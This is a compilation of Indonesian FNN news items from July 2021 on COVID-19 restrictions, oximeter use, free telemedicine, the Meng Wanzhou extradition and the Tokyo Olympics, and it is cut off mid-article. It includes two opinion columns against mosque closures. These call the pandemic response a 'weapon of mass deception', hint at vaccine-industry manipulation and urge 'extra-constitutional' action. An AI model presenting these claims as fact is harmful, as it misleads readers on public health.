Jakarta, FNN - Kasus ekstradisi terhadap CFO Huawei Meng Wanzhou atau Sabrina Meng di Kanada memasuki babak baru setelah tim pembela Meng mengemukakan ada serangkaian dokumen yang dapat menjadi bukti baru jika pengadilan Mahkamah Agung Kanada mengizinkan untuk diajukan di muka persidangan. Huawei dalam keterangan tertulisnya, Senin, menyatakan bahwa sejak beberapa bulan yang lalu segepok dokumen itu telah diperoleh melalui pengadilan Hong Kong. Dokumen tersebut berupa email dan komunikasi internal yang terjadi antar eksekutif HSBC terkait kasus ini, yang sebelumnya tidak dibuka untuk publik. Dalam persidangan minggu lalu, tim pembela Meng mengatakan dokumen itu layak dipercaya melemahkan alasan-alasan yang mendasari pihak Amerika Serikat dalam upaya ekstradisi terhadap Meng. Minggu lalu, Associate Hakim Agung Mahkamah Agung Heather Holmes menolak permohonan pembelaan untuk larangan publikasi menyeluruh pada dokumen HSBC yang berarti bahwa rincian dokumen itu dapat diungkapkan di pengadilan. Meng, 49, yang juga merupakan putri pendiri Huawei, Ren Zhengfei, diperkirakan akan hadir di pengadilan secara langsung minggu hingga beberapa bulan ke depan. Amerika Serikat ingin Meng diekstradisi terkait tuduhan penipuan dan konspirasi sehubungan dengan tuduhan dia berbohong kepada seorang eksekutif HSBC di Hong Kong pada tahun 2013 tentang kendali Huawei atas anak perusahaan bernama Skycom yang dituduh melanggar sanksi ekonomi AS terhadap Iran. Pengacara Meng berpendapat bahwa dokumen dari HSBC menunjukkan bahwa Huawei terbuka tentang hubungannya dengan Skycom dan kini pihaknya tengah berupaya agar pengadilan Kanada mengizinkan dokumen internal tersebut diajukan sebagai bukti. Penuntut umum dari pemerintah di Kanada kemungkinan akan menentang interpretasi Huawei atas dokumen tersebut dan berpendapat bahwa dokumen tersebut tidak relevan dengan proses ekstradisi dan harus diajukan untuk persidangan penipuan di AS. Laporan media mengatakan bahwa HSBC telah memberikan dokumen internal ke departemen kehakiman AS dalam upaya untuk menghindari penuntutan oleh AS, tetapi tidak kepada pengacara Meng. Pemerintah China dengan tajam mengkritik kerja sama HSBC dengan pemerintah AS atas kasus ini. HSBC mengatakan tidak memiliki pilihan hukum selain bekerja sama dengan pihak berwenang AS. Pada Februari lalu, pihak Meng berupaya mendapatkan akses ke dokumen HSBC melalui pengadilan di Inggris, namun upaya itu tidak berhasil. Baru kemudian di bulan Maret, kembali diupayakan melalui pengadilan Hong Kong melalui penyelesaian di luar jalur pengadilan dengan HSBC. Persyaratan penyelesaian tidak dipublikasikan, tetapi tampaknya HSBC memberi Huawei akses ke dokumen tersebut, dengan klausul kerahasiaan terlampir. Pekan lalu pengadilan Kanada menerima permohonan dari jaksa dan kelompok media Kanada bahwa informasi tersebut tidak lagi dapat dirahasiakan, sehingga kemungkinan besar bukti tersebut dapat diterima di pengadilan untuk menantang klaim ekstradisi. Meng ditangkap di bandara Vancouver pada 1 Desember 2018, setelah tiba dengan penerbangan dari Hong Kong, di mana dia dijadwalkan untuk menghadiri sebuah konferensi di negara di Amerika Latin. Semenjak ditangkap, Meng berada dalam tahanan rumah hingga sekarang. Babak persidangan diperkirakan berlangsung hingga Agustus dengan argumen pembelaan tentang apa yang disebut "cabang" terakhir dari penyalahgunaan proses yang melibatkan tuduhan keliru yang didasarkan pada dokumen HSBC. (mth)

Polresta Surakarta Tutup Jalan Doktor Rajiman pada Masa PPKM Darurat

Solo, FNN - Satuan Lalu Lintas Polres Kota Surakarta menutup Jalan Dr. Rajiman selama pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat di Solo, Jawa Tengah, mulai Senin hingga Selasa (20/7), untuk memutus mata penyebaran COVID-19. Solo yang gencar mendukung kebijakan pemerintah pusat selama PPKM darurat guna mencegah penyebaran COVID-19, salah satunya dengan penutupan arus lalu lintas di Jalan Dr. Rajiman, mulai dari pertigaan depan Moonlight atau kawasan Pasar Klewer sampai perempatan Pasar Kembang, atau sejauh sekitar 3 km, mulai pukul 05.00 hingga 20.00 WIB. Kendaraan bermotor yang boleh melintasi Jalan Dr. Rajiman, salah satu sentra perdagangan di Solo, selama PPKM darurat tersebut hanya mobil ambulans, ojek online, dan Batik Solo Trans (BST). Menurut Waka Satlantas Polresta Surakarta AKP Sutoyo, penutupan jalan protokol sepanjang sekitar 3 km itu memiliki tingkat penerapan protokol kesehatan dan aturan PPKM yang rendah. Selain itu, kata dia, sepanjang jalan itu mayoritas daerah sentra usaha barang-barang sektor nonesensial sehingga sejumlah pertokoan harus tutup selama PPKM darurat. Dijelaskan pula bahwa rencana awal penutupan di Jalan Slamet Riyadi, mulai perempatan Gendengan hingga Bundaran Gladag. Akan tetapi, atas pertimbangan bersama, kemudian dialihkan ke Jalan Dr. Radjiman Solo. Meskipun Jalan Dr. Rajiman ditutup, seluruh persimpangan yang ada bisa dilewati. Penutupan dikhususkan pada arus yang mengarah Pasar Klewer menuju Pasar Kembang saja. "Kami berharap masyarakat bisa menyadari pentingnya pengalihan arus lalu lintas itu untuk melaksanakan imbuan pemerintah ini agar penyebaran COVID-19 bisa ditekan," katanya. Sementara itu, petugas gabungan yustisi dari Polri, TNI, dan Pemkot Surakarta juga melakukan mobile patroli untuk memantau kondisi di lapangan selama PPKM darurat. Jika masih ada toko-toko usaha sektor nonesensial yang masih buka, kata dia, akan ditutup. Kalau terjadi kerumunan, juga akan dibubarkan. "Kami akan melakukan pengalihan arus, jalan yang ditutup selama PPKM darurat. Jalan-jalan lainnya berjalan normal seperti biasa tetapi kepadatan arus lalu lintas di Solo agar berkurang selama PPKM Darurat," katanya. (mth)

Saat Pakai Oximeter Selama Isoman Perhatikan Kuku Hingga Posisi Tubuh

Jakarta, FNN - Ada beberapa hal yang perlu pasien COVID-19 tanpa gejala ataupun bergejala ringan perhatikan saat mengukur saturasi oksigen menggunakan pulse oximeter selama menjalani isolasi mandiri di rumah, mulai dari posisi tubuh hingga kuku jari. Hal-hal ini agar pengukuran bisa menghasilkan angka yang akurat. Dari sisi frekuensi, dokter spesialis jantung dan pembuluh darah dari Perhimpunan Dokter Spesialis Kardiovaskular Indonesia (PERKI), Vito Anggarino Damay menyarankan pasien mengukur minimal sebanyak tiga kali. "Minimal tiga kali. Pagi siang malam tidak ada jam yang ketat," ujar dia kepada ANTARA melalui pesan elektroniknya, dikutip Senin. Menurut Vito, saat mengukur, sebaiknya posisikan tubuh dalam keadaan duduk dan kondisi pasien tenang atau rileks. Kondisi pilek yang biasanya dialami sebagian pasien COVID-19 tidak akan mempengaruhi saturasi oksigen. Pengukuran saturasi oksigen dilakukan untuk mendeteksi bila terjadi hypoxia atau kondisi tubuh kekurangan oksigen yang bisa dialami pasien COVID-19. Mengutip laman WebMD, tanpa oksigen, organ-organ tubuh seperti otak, hati dan lainnya bisa rusak hanya dalam beberapa menit usai gejala dimulai. Kondisi ini biasanya ditandai dengan perubahan warna kulit yang menjadi biru atau merah ceri, pasien mengalami kebingungan, batuk, detak jantung cepat, napas cepat, bekeringat dingin, sesak napas dan mengi. Tetapi, tak semua pasien COVID-19 merasakan gejala atau keluhan ini, padahal kadar oksigen dalam darahnya sangat rendah. Ada kasus saat pasien merasa baik-baik saja padahal angka saturasi oksigennya di bawah rentang normal yakni 95-100 persen atau disebut happy hypoxia. Di sisi lain, ada kondisi yang bisa mempengaruhi angka saturasi oksigen, salah satunya gambaran pneumonia di paru-paru. Kondisi ini biasanya akan menurunkan angka saturasi oksigen. Oleh karena itu, sebelum pasien melakukan isolasi mandiri, sebaiknya lakukan dulu rontgen dada (foto x-ray). "Kalau normal tidak ada tanda pneumonia viral barulah isolasi mandiri. Lebih baik lagi kalau dokter yang memutuskan boleh isolasi mandiri," kata dia. Selain pneumonia, penggumpalan darah juga bisa mempengaruhi angka saturasi oksigen pasien. Kondisi ini terkadang bisa menyumbat di paru-paru dan lepas dengan sendirinya sehingga angka saturasi oksigen bisa naik turun. Untuk mengetahui ada tidaknya penggumpalan darah, pemeriksaan D-Dimer pun direkomendasikan dokter. Kembali mengenai pengukuran oximeter, dalam kesempatan berbeda, dokter spesialis penyakit dalam yang menjadi edukator hoaks COVID-19, RA Adaninggar melalui sebuah talkshow daring mengenai isolasi mandiri belum lama ini, mengingatkan pasien agar memastikan kondisi kukunya bersih dari cat kuku dan tidak panjang. "Syaratnya tidak boleh pakai kuteks, bisa menghalangi sinar infrared-nya (di oximeter). Jadi harus kuku yang bersih dan jangan terlalu panjang. Kalau terlalu panjang nanti enggak sampai ke (alat). Jarinya boleh yang mana saja," tutur dia. Kemudian, untuk memudahkan dalam pengukuran saturasi oksigen mengggunakan oximeter, dokter spesialis telinga, hidung dan tenggorokan (THT) yang juga Menteri Kesehatan dan Kesejahteraan Keluarga India, Harsh Vardhan melalui laman Twitter-nya memberi panduan yang bisa pasien ikuti. Pasien sebaiknya beristirahat dulu selama 10-15 menit sebelum melakukan pengukuran. Setelah itu, letakkan tangan di dada dan tahan selama beberapa waktu. Berikutnya, masukan jari tengah atau telunjuk ke dalam oximeter, tunggulah beberapa saat hingga pembacaan angka oximeter stabil. Kemudian, catatlah angka tertinggi yang muncul. Lakukan pengukuran tiga kali sehari kecuali pasien merasa ada perubahan pada kesehatannya. Segera berkonsultasi dengan tenaga medis bila terjadi sesak napas atau penurunan kadar oksigen hingga di bawah 95 persen dan berusahalah menjaga kondisi agar tak panik sembari mengikuti saran dari tenaga medis.

Anis Matta Soroti Ketidakpastian Informasi tentang Covid-19

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta menyoroti ketidakpastian informasi tentang Covid-19. Menurut Anis, hal tersebut merupakan persoalan paling besar yang sedang dihadapi bangsa Indonesia. “Kondisi ini membuat para pasien menghadapi psikologis yang sangat akut, para dokter juga menghadapi persoalan tingkat keyakinan mereka dalam memberikan rekomendasi bagi pasiennya,” kata Anis dalam keterangannya di Jakarta seperti dikuti Antara. Menurut Anis, ketidakpastian informasi terjadi akibat banyaknya informasi saintifik bercampur kabar hoaks yang begitu cepat menyebar di tengah masyarakat. Di lain pihak, pengetahuan dokter saat ini tentang masalah Covid-19 juga masih terbatas. Hal itu, kata Anis Matta, membuat ada serangan besar terhadap optimisme. Hal itu penting dalam pendekatan keagamaan karena agama adalah sumber optimisme, bukan sumber fatalisme. “Agama menjadi langkah awal untuk memahami persoalan Covid-19 dan dapat menjauhkan diri dari sikap fatalis. Agama harus jadi sumber optimisme dan otorisasi sains jadi referensi utama menghindarkan disinformasi publik,” ujar Anis. Anis mengutip dalil yang menyebutkan bahwa Allah Swt tidak pernah menurunkan suatu penyakit, tetapi juga bersamanya menurunkan obatnya. Menurut Anis, agama menyuruh manusia bergantung pada Sang Pencipta, termasuk mencari kesembuhan dan obat dari Covid-19. “Kemudian mengikuti seluruh rekomendasi dokter dan para saintis yang berhubungan dengan penyakit itu. Jadi, makna tawakal tidak boleh jadi sumber fatalisme, tetapi justru menjadi sumber optimisme. Di sinilah kita melangkah untuk menghadapi persoalan ini,” ujar Anis.

Ada Layanan Telemedicine Gratis bagi Isoman

Jakarta, FNN - Pemerintah melibatkan 11 jasa telemedicine swasta untuk melayani secara gratis pasien isolasi mandiri (isoman) dengan gejala COVID-19 ringan, kata Menteri Koordinator Bidang Kemaritiman dan Investasi, Luhut Binsar Panjaitan. "Ada 11 aplikasi telemedicine. Mereka bekerja untuk mengurangi tekanan di rumah sakit. Jadi, rumah sakit hanya untuk yang membutuhkan. Yang lain cukup isolasi mandiri," katanya dalam konferensi pers secara virtual yang dipantau dari Jakarta, Senin. Luhut mengatakan layanan tersebut bisa diakses masyarakat yang membutuhkan konsultasi dokter agar memperoleh panduan yang benar seputar konsumsi obat atau vitamin maupun aktivitas selama masa pemulihan kesehatan di rumah. Pemerintah mengapresiasi keterlibatan pihak swasta dalam layanan telemedicine secara gratis kepada masyarakat yang membutuhkan. "Saya ucapkan terima kasih karena anda terpanggil untuk melaksanakan ini semua," kata Luhut. Dalam acara yang sama, Menteri Kesehatan Budi Gunadi Sadikin mengemukakan sejumlah kriteria bagi pasien bergejala ringan yang disarankan untuk melakukan isolasi mandiri di rumah. "Lihat saturasi oksigennya apakah masih 95 ke atas dan tidak sesak serta komorbid, lebih baik isolasi mandiri di rumah," katanya. Pasien COVID-19 dengan gejala ringan, diarahkan untuk isolasi mandiri agar terhindar dari risiko penularan virus yang cenderung lebih tinggi di rumah sakit. Selain itu, secara emosional pasien bisa lebih tenang di rumah sehingga imunitas lebih terjaga, kata Budi. "Kalau sudah merasakan sesak dan saturasi di bawah 95 dan komorbid, itu harus masuk rumah sakit," katanya. Berikut ini daftar jasa telemedicine yang dapat diakses pasien isolasi mandiri di rumah secara gratis: 1. Alodokter 2. Getwell 3. Good Doctor 4. Halodoc 5. Klik Dokter 6. KlinikGo 7. Link Sehat 8. Milvik Dokter 9. ProSehat 10. SehatQ 11. YesDok

Pengamat: Pengkritik Presiden Bukan Berarti Menghina

Semarang, FNN - Analis politik dari Universitas Diponegoro Teguh Yuwono menegaskan mengkritik presiden dalam negara demokrasi adalah hal biasa sehingga jangan terburu-buru menuduh pengkritik menghina kepala negara, apalagi sampai ada tuduhan untuk memakzulkannya. "Kalau orang yang mengkritik atau menghina presiden, kemudian memaknainya untuk pemakzulan presiden, tentu overacting, ya," kata Dr. Drs. Teguh Yuwono, M.Pol.Admin. di Semarang, Minggu. Untuk membuktikan apakah orang tersebut mengkritik atau menghina kepala negara, kata Wakil Dekan I Fakultas Ilmu Sosial dan Politik (FISIP) Undip Semarang ini, adalah lembaga peradilan. Teguh Yuwono lantas mengingatkan kembali bahwa negara demokrasi basis pertama adalah negara hukum. Jadi, apakah seseorang itu mengkritik, menghasut, melakukan hoaks, atau provokasi, majelis hakim pengadilan yang akan membuktikannya. Menyinggung soal Mahkamah Konstitusi (MK) telah mencabut pasal-pasal penghinaan terhadap presiden di dalam KUHP, alumnus Flinders University Australia ini menyatakan tidak perlu pasal-pasal tersebut masuk dalam Rancangan Undang-Undang tentang Kitab Undang-Undang Hukum Pidana (RUU KUHP). Meski MK melalui putusannya Nomor 013-022/PUU-IV/2006 dan No. 6/PUU-V/2007 telah mencabut Pasal 134, 136 bis, dan Pasal 137 serta Pasal 154 dan 155 KUHP tentang Penghinaan Presiden dan Pemerintah, menurut Teguh Yuwono, hakim bisa menggunakan undang-undang lainnya. Ia lantas mencontohkan Undang-Undang Nomor 19 Tahun 2016 tentang Perubahan atas UU No. 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik (UU ITE). Di dalam UU ITE Pasal 27 Ayat (3) menyebutkan bahwa setiap orang dengan sengaja dan tanpa hak mendistribusikan dan/atau mentransmisikan dan/atau membuat dapat diaksesnya informasi elektronik dan/atau dokumen elektronik yang memiliki muatan penghinaan dan/atau pencemaran nama baik.

DPR Minta Pemerintah Melarang WNA Masuk Indonesia Selama PPKM Darurat

Jakarta, FNN - Wakil Ketua DPR RI Sufmi Dasco Ahmad meminta pemerintah mengambil langkah tegas dengan melarang warga negara asing (WNA) masuk wilayah Indonesia selama penerapan kebijakan pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat. Dia menekankan bahwa efektifitas kebijakan PPKM darurat penting untuk diperhatikan agar pemberlakuannya hanya sekali dan tidak berdampak negatif terhadap berbagai sektor. "Karena itu selama pemberlakuan PPKM darurat, saya meminta pemerintah agar mengambil langkah tegas dengan melarang WNA masuk ke Indonesia dengan alasan berwisata maupun bekerja," kata Dasco saat dikonfirmasi di Jakarta, Minggu. Dia mengatakan langkah melarang WNA masuk Indonesia agar PPKM berjalan efektif, berkaitan dengan keselamatan masyarakat, dan sebagai langkah antisipasi bertambahnya varian COVID-19 yang masuk ke Indonesia. Koordinator Satgas Lawan COVID-19 dan PEN DPR RI itu menilai, semua pihak bersepakat bahwa keselamatan rakyat adalah hukum tertinggi, maka langkah tegas melarang WNA masuk Indonesia perlu dilakukan sebagai upaya melindungi masyarakat dan langkah antisipasi masuknya varian COVID-19 dari luar negeri. Dasco mengapresiasi langkah tegas pemerintah yang telah menerapkan kebijakan PPKM darurat di 44 kabupaten/kota di 6 provinsi (Jawa-Bali) sebagai upaya dalam menekan laju penyebaran COVID-19 yang semakin mengkhawatirkan. Dasco mengharapkan masyarakat untuk tidak lelah melawan COVID-19 dengan menerapkan protokol kesehatan yang ketat dan membatasi aktifitas di luar rumah selama PPKM darurat. "Kita semua tentu sudah lelah dengan memakai masker, mencuci tangan, menjaga jarak, dan beraktivitas di rumah saja, namun demi kebaikan dan keselamatan bersama, mohon untuk tidak kendor," ujarnya. Ketua Harian DPP Partai Gerindra itu mengajak semua pihak membangun kesadaran bersama untuk melawan COVID-19 dengan tetap menerapkan prokes ketat dan menaati kebijakan pemerintah selama PPKM arurat berjalan.

Australia Kirim 472 Atlet ke Olimpiade Tokyo

Jakarta, FNN - Komite Olimpiade Australia (AOC) mengumumkan bahwa Australia akan membawa 472 atlet ke Olimpiade Tokyo, menurut laporan Reuters, Senin. Sebagian tim, secara total terdiri dari 254 perempuan dan 218 laki-laki, yang akan bertanding dalam 33 cabang olahraga, sudah berada di Jepang untuk melakukan persiapan terakhir mereka jelang Olimpiade, yang telah ditunda selama satu tahun karena krisis kesehatan global. Virus corona telah sangat mengganggu kualifikasi dan perjalanan kontingen Australia, yang terbesar kedua setelah Olimpiade Athena pada 2004 sebanyak 482 atlet. "Saya ingin memberikan penghormatan kepada para atlet yang karena penundaan dan lingkungan global menghalangi mereka untuk menjadi bagian dari tim ini," kata Chef de Mission Ian Chesterman. "Apakah itu karena cedera dan pensiun, kurangnya akses yang aman ke acara kualifikasi atau mengalami keadaan pribadi yang sulit. "Saya dapat berjanji kepada para atlet bahwa tim ini membawa warisan dan kontribusi di hati mereka sampai ke Tokyo dan ke panasnya kompetisi Olimpiade," tambahnya. Sementara hanya 51 orang pmi Australia yang telah mewakili negara itu selama 28 Olimpiade Musim Panas sebelumnya, petenis nomor satu dunia Ash Barty menjadi sorotan dalam rekor 16 atlet Aborigin dalam tim tersebut untuk menghadapi Olimpiade Tokyo. Mary Hanna (66) akan menjadi pesaing Olimpiade tertua dari Australia. Dia akan bersaing bersama dengan sesama atlet berkuda Andrew Hoy yang memegang rekor nasional Olimpiade kedelapan pada usia 62 tahun. Perenang Mollie O'Callaghan yang berusia 17 tahun menjadi anggota tim termuda dan salah satu dari 294 atlet Australia yang melakukan debut Olimpiade di Tokyo nanti. Tim sofbol Australia telah tiba di Jepang pada 1 Juni untuk melakukan pemanasan melawan tim profesional lokal dan akan menjadi atlet Australia pertama yang bertanding di Olimpiade saat mereka menghadapi tuan rumah Jepang pada 21 Juli, dua hari sebelum upacara pembukaan. Sementara itu, Australia akan mengirimkan 75.000 masker sekali pakai dan 544 botol hand sanitizer ke Jepang untuk digunakan oleh delegasi mereka, yang totalnya 990 orang, termasuk ofisial dan pelatih.

Menutup Masjid?

Oleh Prof. Daniel Mohammad Rosyid Jakarta, FNN - Dalam PPKM Darurat yang mulai berlaku 3-20 Juli 2021 salah satu arahannya adalah penutupan tempat-tempat ibadah, termasuk masjid. Hemat saya, arahan ini tidak saja keliru tapi juga keji dan tidak konstitusional. Pandangan pragmatis sekuler kiri telah menempatkan tempat ibadah sebagai sektor yang tidak esensial. Bagi saya penutupan masjid adalah maladministrasi publik dengan menggunakan pandemisasi covid-19 sebagai weapon of mass deception. Lalu apa yang esensial ? Bisnis ? Bisnis besar obat dan vaksin ? Ini adalah pandangan yang menyesatkan dan berbahaya. Setelah sektor pendidikan ditutup, kini masjid juga ditutup. Defisit pendidikan selama setahun lebih yang sudah menggunung setinggi hutang akan ditambah dengan defisit moral spiritual. Bagi saya ini tidak bisa diterima. Para pendiri bangsa mengamanahkan bahwa bangsa ini pertama harus dibangun jiwanya, baru kemudian badannya. Jiwa atau mental lebih esensial daripada jasmani. Revolusi mental yang pernah bergaung keras kini tidak terdengar lagi. Apakah dulu sekedar Lips Service? Sejak amandemen UUD1945 yang menjungkirbalikkan dasar-dasar kita bernegara menjadi semakin liberal kapitalistik, masyarakat banyak semakin ditempatkan dalam dua posisi nyaris tanpa pilihan: konsumen dan buruh. Hakekatnya kedua posisi yang dipaksakan itu adalah perbudakan terselubung. Tidak saja konsumen dan buruh dari perspektif ekonomi, tapi juga politik. Baik politik dan ekonomi kini dimonopoli oleh oligarki elite parpol yang didukung para taipan. Ini harus dihentikan secara ekstra konstitusional. Pemilu 2024 hanya akan menjadi instrumen legalisasi net transfer hak politik dan ekonomi rakyat pemilih pada elite parpol dukungan para taipan. No more no less. Liberalisasi pasar pendidikan dan kesehatan sejak reformasi telah menempatkan masyarakat banyak hanya sebagai konsumen persekolahan dan layanan kesehatan. Masyarakat menjadi makin tergantung pada persekolahan juga klinik, puskesmas dan rumah sakit. Gaya hidup masyarakat banyak makin buruk yang menyebabkan comorbid menyebar luas ke berbagai kelas masyarakat. Pendekatan layanan kesehatan jang makin kuratif ini makin mahal dan unsustainable. Masyarakat makin mudah dipermainkan oleh industri obat dan vaksin global dengan kapitalisasi ratusan jika bukan ribuan Triliun Rupiah. Mengatakan bahwa pasar adalah sektor esensial sementara masjid tidak sama saja dengan mengatakan bahwa saudara boleh makmur, kufur nggak masalah. Ini penghinaan atas sila pertama Ketuhanan Yang Maha Esa. Hanya kaum penyembah berhala ekonomi yang bisa menerima arahan agar masjid ditutup. Islam mengutamakan sholat berjamaah di masjid, terutama bagi laki-laki. Sholat adalah teknologi pertahanan iman agar tidak berbuat maksiat dan mungkar. Masjid adalah institusi yang mengemban pembangunan ketahanan masyarakat secara multi-ranah, multi-cerdas. Menutupnya adalah keliru. Konstitusi masih menjamin bahwa setiap warga negara dapat dengan bebas melaksanakan keyakinannya tanpa mengganggu ummat agama yang lain. Penutupan sekolah dan kampus saja sulit bisa diterima, apalagi masjid. Kebijakan ini terbaca sebagai kelanjutan dari narasi bahwa musuh terbesar Pancasila adalah agama. Ini adalah agenda kelompok sekuler kiri radikal yang kini bersembunyi di balik kekuasaan. Dari perspektif peningkatan imunitas sebagai strategi paling efektif dalam melawan Covid-19 ini, maka penutupan masjid adalah counter-productive Memang covid-19 faktual. Namun respon kita terhadapnya adalah pilihan strategi. Jiwa yang tenang yang tumbuh dari kedekatan pada Allah adalah kunci mental dalam menghadapi teror pandemisasi covid-19 ini. Mereka yg mampu mengelola stress akibat teror biologis ini akan memenangkan mental game ini. Menutup masjid adalah perampasan kebebasan sipil sekaligus sikap ingkar atas berkat dan rahmat Allah yang menjadi dasar bagi keinginan luhur supaya berkehidupan kebangsaan yang bebas. Maladministrasi publik ini tidak bisa diterima. Jatingaleh, 4/7/2021

Melawan Allah dengan Menutup Masjid

By M Rizal Fadillah Bandung, FNN - Covid 19 ini mewabah dengan izin Allah. Allah menurunkan musibah untuk menguji hamba-Nya siapa yang taat dan mendekat. Bukan menjauh lalu merasa diri hebat dan paling tahu untuk mengatur. Ikhtiar bukan pula jalan dalam rangka melanggar. Bacaan iman akan berbeda dengan cara pandang sekuler dan sarwa dunia. Dengan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat maka mobilitas dan interaksi masyarakat dibatasi lebih ketat. Mall dan tempat wisata ditutup, ternyata juga masjid dan mushola. Alasannya kondisi darurat dengan tingkat keterpaparan Covid 19 yang semakin meningkat. Hanya ironinya Bandara tetap dibuka. Lebih ironi lagi proyek nasional dan konstruksi juga seratus persen dibuka. Inilah pandangan materialistik tersebut. Kecurigaan bisa saja karena banyak proyek konstruksi adalah investasi asing khususnya Cina. Luhut koordinator PPKM Jawa Bali tegas menyatakan tempat ibadah tutup sementara. Assisten Operasional Polri Irjen Pol Imam Sugianto menyatakan akan mengerahkan Densus 88 dan Brimob untuk mendatangi masjid dan mushola untuk menerapkan aturan PPKM Darurat tersebut. Apakah mereka yang tetap melaksanakan sholat di Masjid akan disamakan dengan teroris sehingga perlu ditangani oleh Densus 88 ? Darurat itu adalah keadaan yang harus berdasar hukum. Penetapan status darurat semestinya berlandaskan Undang-Undang atau sekurangnya Perppu yang kemudian menjadi Undang-Undang. Sementara PPKM Darurat saat ini dinyatakan hanya berdasarkan Instruksi Mendagri No 15 tahun 2021. Sungguh seenaknya kebijakan yang mempermainkan hukum. Kacaunya lagi pelanggar PPKM menurut Kepolisian akan dikenakan pidana berdasar UU No 4 tahun 1984 tentang Wabah Penyakit Menular dan UU No. 6 tahun 2018 tentang Kekarantinaan Kesehatan. Lucu sekali melanggar Intruksi Mendagri diberi sanksi pidana atas dasar Undang-Undang padahal PPKM Darurat itu tidak ada dalam nomenklatur Undang-Undang. Bagaimana rumusan deliknya ? Lagi pula Menteri yang berwenang dalam urusan kedua Undang-Undang tersebut adalah Menteri Kesehatan bukan Menteri Dalam Negeri. Bacalah dengan baik Ketentuan Umum baik UU No. 4 tahun 1984 maupun UU No. 6 tahun 2018. Memang nyata tendensi sikap otoritarian melalui pemaksaan hukum. Pemerintah dengan PPKM Darurat ini sebenarnya bersiasat licik dengan menghindar dari kewajiban yang ditetapkan Undang-Undang. PPKM Darurat substansinya adalah Karantina Wilayah. Pasal 55 ayat (1) UU No 6 tahun 2018 menegaskan kewajiban Pemerintah untuk menyediakan kebutuhan dasar orang dan makanan hewan. Tanggungjawab ini yang justru ditakuti dan dihindari Pemerintah hingga harus lari-lari atau sembunyi dibalik nomenklatur yang diada-adakan sebagaimana PPKM Darurat tersebut. Negara memang pengecut dan bangkrut. Tempat ibadah ditutup meski dibahasakan sementara. Lupa bahwa pandemi adalah ujian Ilahi. Dengan segala perangkat kekuasaan umat dipersulit datang dan beribadah ke masjid. Ada meme di medsos bahwa "Di Palestina orang berani mati untuk membuka masjid, sementara di Indonesia orang berani menutup masjid karena takut mati". Umat tentu akan melawan sebisanya atas kebijakan untuk menutup masjid. Akan tetapi jika kekuasaan memaksakan kehendak dan mengerahkan semua kekuatan pemaksa, maka sebagaimana tak berdayanya umat menjaga Ka'bah dari serangan Abrahah dahulu, maka kini urusan masjid sebagai rumah Allah bukan semata urusan manusia, tetapi otoritas Allah SWT. Silahkan saja rezim zalim berbuat sesukanya tanpa dasar iman namun sebagaimana sunnah-Nya maka Allah akan berbuat mengejutkan atas gangguan terhadap rumah-Nya tersebut. Mereka melawan Allah dengan menutup masjid. *) Pemerhati Politik dan Kebangsaan Bandung, 4 Juli 2021

Anggota DPR RI Menolak Tarik GeNose dari Peredaran

Jakarta, FNN - Anggota Komisi VII DPR Mulyanto menolak penarikan alat tes GeNose dari peredaran karena tidak beralasan dan diduga terkait dengan perang dagang. "Alat uji ini dapat melayani deteksi cepat COVID-19 untuk masyarakat dengan harga terjangkau. Apalagi, GeNose produk inovasi teknologi anak bangsa. Hasil riset dari lembaga litbang universitas nasional kita," kata Mulyanto dalam rilis di Jakarta, Jumat. Mulyanto mengingatkan GeNose memiliki banyak keunggulan yaitu efektif, cepat, praktis, dapat menguji secara masif dan harga murah. Ia menduga adanya perang dagang di antara para pelaku bisnis obat dan alat kesehatan di Tanah Air, sehingga muncul wacana seperti ini. "Memang tidak kita pungkiri kalau terjadi perang dagang di antara para pelaku bisnis obat dan alat kesehatan kita. Ini lumrah saja. Karena jiwa bisnis memang seperti itu, yakni mencari untung sebanyak-banyaknya dengan biaya yang sedikit-dikitnya," ujar Mulyanto. Namun demikian, menurut dia, etika bisnis di Indonesia harus terus dijunjung tinggi agar tumbuh keadilan ekonomi serta kokohnya produksi anak bangsa yang berkualitas di dalam pasar domestik. Ia menegaskan bahwa Indonesia tidak boleh tergantung pada produk asing sebab berbahaya bagi ketahanan ekonomi nasional. "Itu sebabnya saya mendukung GeNose ini," ujar Mulyanto. Menurut Mulyanto secara keilmiahan dan legalistik, rekam jejak GeNose ini sangat baik. Pertama, alat itu hasil riset dan inovasi yang dikembangkan para peneliti UGM yang masuk dalam koordinasi Konsorsium Riset COVID-19, di bawah Kemenristek, yang sekarang dipindah menjadi di bawah BRIN (Badan Riset dan Inovasi Nasional). Kedua, terbukti hasilnya efektif dan aman dalam deteksi cepat COVID-19, sehingga GeNose mendapat izin edar Kementerian Kesehatan dalam kategori alat kesehatan. Ketiga, ketika dibawa ke pasar ternyata mendapat sambutan yang baik dari masyarakat. "Basis ilmiah dan legal GeNose itu sangat kuat. Jadi, kalau ada usulan menarik GeNose dari pasar, maka harus ada bukti kuat secara ilmiah empirik terkait keamanan dan keefektifan alat ini. Bukan sekedar berdasarkan desas-desus," katanya.

Penimbun Alkes dan Obat-obatan Bisa Dijerat UU Perlindungan Konsumen

Jakarta, FNN - Pemerintah mengingatkan kembali sanksi bagi oknum-oknum, yang menimbun dan melipatgandakan harga obat-obatan dan alat kesehatan (alkes). "Pelaku akan dikenakan sanksi berdasarkan UU Nomor 8 tahun 1999 tentang Perlindungan Konsumen," kata Juru Bicara Menteri Koordinator Bidang Kemaritiman dan Investasi Jodi Mahardi dalam keterangan pers yang disiarkan Youtube Sekretariat Presiden, Sabtu. Jodi mengingatkan agar tidak bermain-main dengan nyawa orang lain. Menurut dia, kesembuhan dan kesehatan pasien harus didahulukan sebagai upaya menyelamatkan bangsa. Ia juga meminta agar jangan sampai ada pihak-pihak yang mengambil keuntungan di atas penderitaan orang lain. "Bagi para penyalur, distributor dan penyedia obat-obatan untuk selalu mengikuti peraturan atau akan ditindak oleh aparat hukum atau lebih buruk lagi akan dimusuhi oleh bangsa Indonesia," katanya. Sementara itu, dalam konteks terapi bagi kesembuhan pasien, Menko Marves yang juga Koordinator PPKM Darurat Jawa-Bali Luhut Binsar Pandjaitan, Menteri Kesehatan Budi Gunadi Sadikin, dan Kabareskrim Polri Komisaris Jenderal Agus Andrianto melakukan konferensi pers yang menyatakan pemerintah telah mengeluarkan keputusan Menteri Kesehatan mengenai harga eceran tertinggi (HET) obat dalam masa pandemi COVID-19. Penetapan HET obat-obatan yang digunakan dalam masa pandemi 